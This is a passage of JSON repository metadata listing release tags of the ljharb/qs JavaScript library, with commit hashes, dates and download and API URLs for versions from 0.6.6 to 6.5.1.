1","sha":"0e838daa71f91fecda456441ac64e615f38bed8b","kind":"commit","published_at":"2017-09-09T06:51:19.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.5.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.1/manifests"},{"name":"v6.5.0","sha":"d66ac175bbf8afa44b41c2c85b04ae00bac7c916","kind":"commit","published_at":"2017-06-28T06:55:05.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.5.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.0/manifests"},{"name":"v6.0.4","sha":"10233c9f92a4e3537009fbfbd0baf6f3738c4551","kind":"commit","published_at":"2017-03-06T07:25:37.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.4/manifests"},{"name":"v6.1.2","sha":"68ca039dc2b23b9dabff79a34a906b56c17addaa","kind":"commit","published_at":"2017-03-06T07:20:16.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.1.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.2/manifests"},{"name":"v6.3.2","sha":"9ee56121311dac6b6014bfe56b3df0ebbf4ed048","kind":"commit","published_at":"2017-03-06T07:10:34.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.3.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.2/manifests"},{"name":"v6.2.3","sha":"1fb74cb66310c506e4b6bc04fa258a1759750222","kind":"commit","published_at":"2017-03-06T07:07:49.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.3/manifests"},{"name":"v6.4.0","sha":"c7f87b8d2eedd377f6ace065655201f51bee6334","kind":"commit","published_at":"2017-03-06T06:31:15.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.4.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.0/manifests"},{"name":"v6.2.2","sha":"ff662eca3f00b1505d05dbaa7442a19c26f7ebe0","kind":"commit","published_at":"2017-02-16T07:35:00.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.2/manifests"},{"name":"v6.0.3","sha":"be1c4211a6031cac3443ce66220f4954338bde3f","kind":"commit","published_at":"2017-02-16T06:45:41.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.3/manifests"},{"name":"v6.1.1","sha":"3b606162b92ac485d9a3e945f6653507d7ec1210","kind":"commit","published_at":"2017-02-16T04:56:38.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.1.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.1/manifests"},{"name":"v6.3.1","sha":"153ce84948845330d90178cbad982fc7371df538","kind":"commit","published_at":"2017-02-16T04:37:50.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.3.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.1/manifests"},{"name":"v6.3.0","sha":"8aa9c26f90335b5483a4f456dea9acbada8a881c","kind":"commit","published_at":"2016-10-15T06:03:57.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.3.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.0/manifests"},{"name":"v6.2.1","sha":"335f839142e6c2c69f5302c4940d92acb0e77561","kind":"commit","published_at":"2016-07-20T19:39:26.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.1/manifests"},{"name":"v5.2.1","sha":"872da25efd167985c153898a06277ef34ce97a63","kind":"commit","published_at":"2016-07-20T19:18:23.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v5.2.1","html_url":"https://github.com/ljharb/qs/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.2.1/manifests"},{"name":"v6.2.0","sha":"d67d315b606c6bb809fedcbeebbbdb7f863852aa","kind":"commit","published_at":"2016-05-08T22:26:29.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"5bd79545edb33d6a43398fec7df9ecef2da005ea","kind":"commit","published_at":"2016-02-04T05:52:40.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.1.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"47dfbd6740b3cc1593847825701c8aa136f636e3","kind":"commit","published_at":"2016-01-17T22:34:21.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"bbb6ae1bbf8adb3057a52363715a20a25bd8a68f","kind":"tag","published_at":"2015-11-24T17:03:53.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"ed169696b6cebacf8e7f7c6b4ba8eeb5f2cb2694","kind":"tag","published_at":"2015-11-03T03:02:45.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.0/manifests"},{"name":"v5.2.0","sha":"a341cdf2fadba5ede1ce6c95c7051f6f31f37b81","kind":"tag","published_at":"2015-10-07T17:36:04.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v5.2.0","html_url":"https://github.com/ljharb/qs/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9e9759ec5be2dd99ce90961bbff47075cd5a8160","kind":"tag","published_at":"2015-09-11T17:08:57.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v5.1.0","html_url":"https://github.com/ljharb/qs/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.1.0/manifests"},{"name":"v5.0.0","sha":"90ac66b2f90dc357134ea138be6cededa1578e5f","kind":"tag","published_at":"2015-08-27T17:42:46.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v5.0.0","html_url":"https://github.com/ljharb/qs/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v5.0.0/manifests"},{"name":"v4.0.0","sha":"a846022c26b35206b3526efa62cf23c2cabfd0d9","kind":"tag","published_at":"2015-07-02T18:33:23.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v4.0.0","html_url":"https://github.com/ljharb/qs/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v4.0.0/manifests"},{"name":"v3.1.0","sha":"d7a6dd83ef43560c095c6d0bb6087fb0309b0c54","kind":"tag","published_at":"2015-05-27T16:07:37.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v3.1.0","html_url":"https://github.com/ljharb/qs/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"482674af2389db626f9ff67c7ae6a7b9ca7a4891","kind":"tag","published_at":"2015-05-22T19:34:05.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v3.0.0","html_url":"https://github.com/ljharb/qs/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v3.0.0/manifests"},{"name":"v2.4.2","sha":"cdd64a9d1385dbc3dde48da6de98b5993f1607bd","kind":"tag","published_at":"2015-05-09T20:54:29.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.4.2","html_url":"https://github.com/ljharb/qs/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"bbaba1e380f634b96e62efaa1b88346111b53b3a","kind":"tag","published_at":"2015-03-13T23:38:19.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.4.1","html_url":"https://github.com/ljharb/qs/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"820be617369cadbb7b15701dacff3b4cc9a92b84","kind":"tag","published_at":"2015-03-12T17:22:44.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.4.0","html_url":"https://github.com/ljharb/qs/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"9250c4cda5102fcf72441445816e6d311fc6813d","kind":"tag","published_at":"2014-11-14T00:53:46.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.3.3","html_url":"https://github.com/ljharb/qs/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"58097c12559b4c5857af99927273b3141dff8529","kind":"tag","published_at":"2014-10-28T00:05:34.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.3.2","html_url":"https://github.com/ljharb/qs/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"a601ae18bc419399db7debc2765c96c84e83c237","kind":"tag","published_at":"2014-10-23T16:25:02.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.3.1","html_url":"https://github.com/ljharb/qs/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"ab5237f35ec779c8a52a63804abec2fef42a0bec","kind":"tag","published_at":"2014-10-22T21:43:21.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.3.0","html_url":"https://github.com/ljharb/qs/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.3.0/manifests"},{"name":"v2.2.5","sha":"211cbd9cd9ba6d16a5459c13073bc3a6b1dec018","kind":"tag","published_at":"2014-10-22T21:36:56.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.2.5","html_url":"https://github.com/ljharb/qs/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.5/manifests"},{"name":"v2.2.4","sha":"9775242fa57cbfa4db62e4b0aa4f82b23e2ce6af","kind":"tag","published_at":"2014-09-18T23:00:08.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.2.4","html_url":"https://github.com/ljharb/qs/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.4/manifests"},{"name":"v2.2.3","sha":"904528124a6eb879ebc5197376e9613069414f67","kind":"tag","published_at":"2014-09-05T18:32:10.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.2.3","html_url":"https://github.com/ljharb/qs/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.3/manifests"},{"name":"v2.2.2","sha":"2d954c31a94bf8468f890636c3bb0661f8c2636c","kind":"tag","published_at":"2014-08-29T20:34:38.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.2.2","html_url":"https://github.com/ljharb/qs/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"32edf331cf876d907eb60b146c9251f8d46026b4","kind":"tag","published_at":"2014-08-28T20:37:39.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.2.1","html_url":"https://github.com/ljharb/qs/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"9bc7567539828d67b02a0c7d8a3204ed3d86da0e","kind":"tag","published_at":"2014-08-27T16:35:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.2.0","html_url":"https://github.com/ljharb/qs/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"07bb33ec67fe2fc2e34161a3e0d1d94e3d5bb810","kind":"tag","published_at":"2014-08-25T22:45:01.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.1.0","html_url":"https://github.com/ljharb/qs/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"124ea733898f68586b2eeae496d035834fa89c7c","kind":"tag","published_at":"2014-08-25T20:03:30.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v2.0.0","html_url":"https://github.com/ljharb/qs/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v2.0.0/manifests"},{"name":"v1.2.2","sha":"bd9455fea88d1c51a80dbf57ef0f99b4e553177d","kind":"tag","published_at":"2014-08-14T20:16:10.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.2.2","html_url":"https://github.com/ljharb/qs/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"96871b8ebe001a993454f8cbf79c2410dabd7eb9","kind":"tag","published_at":"2014-08-09T01:38:21.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.2.1","html_url":"https://github.com/ljharb/qs/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"e1ff638989afe27a2c7f8ec7eecf9bab71a4fbf2","kind":"tag","published_at":"2014-08-07T14:02:10.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.2.0","html_url":"https://github.com/ljharb/qs/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"03848fed725e50bb06379e8f3ee40b3f92a1b60d","kind":"tag","published_at":"2014-08-06T17:40:02.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.1.0","html_url":"https://github.com/ljharb/qs/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.1.0/manifests"},{"name":"v1.0.2","sha":"b7af068a898c8456a99613e474c8765dea7f41dc","kind":"tag","published_at":"2014-08-06T00:18:33.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.0.2","html_url":"https://github.com/ljharb/qs/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"dc3cfcc7ee4af9fd8f464b19c5587f8d1ef9d252","kind":"commit","published_at":"2014-08-05T21:33:17.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.0.1","html_url":"https://github.com/ljharb/qs/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"a66f9c78309b5e441d4840bf68d1a008486ae0db","kind":"commit","published_at":"2014-08-04T22:25:43.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v1.0.0","html_url":"https://github.com/ljharb/qs/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v1.0.0/manifests"},{"name":"v0.6.6","sha":"79d93069a62ce1d594d850d455c26f45a123f803","kind":"tag","published_at":"2013-12-03T16:37:56.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v0.6.6","html_url":"https://github.com/ljharb/qs/releases/tag/v0.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v0.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v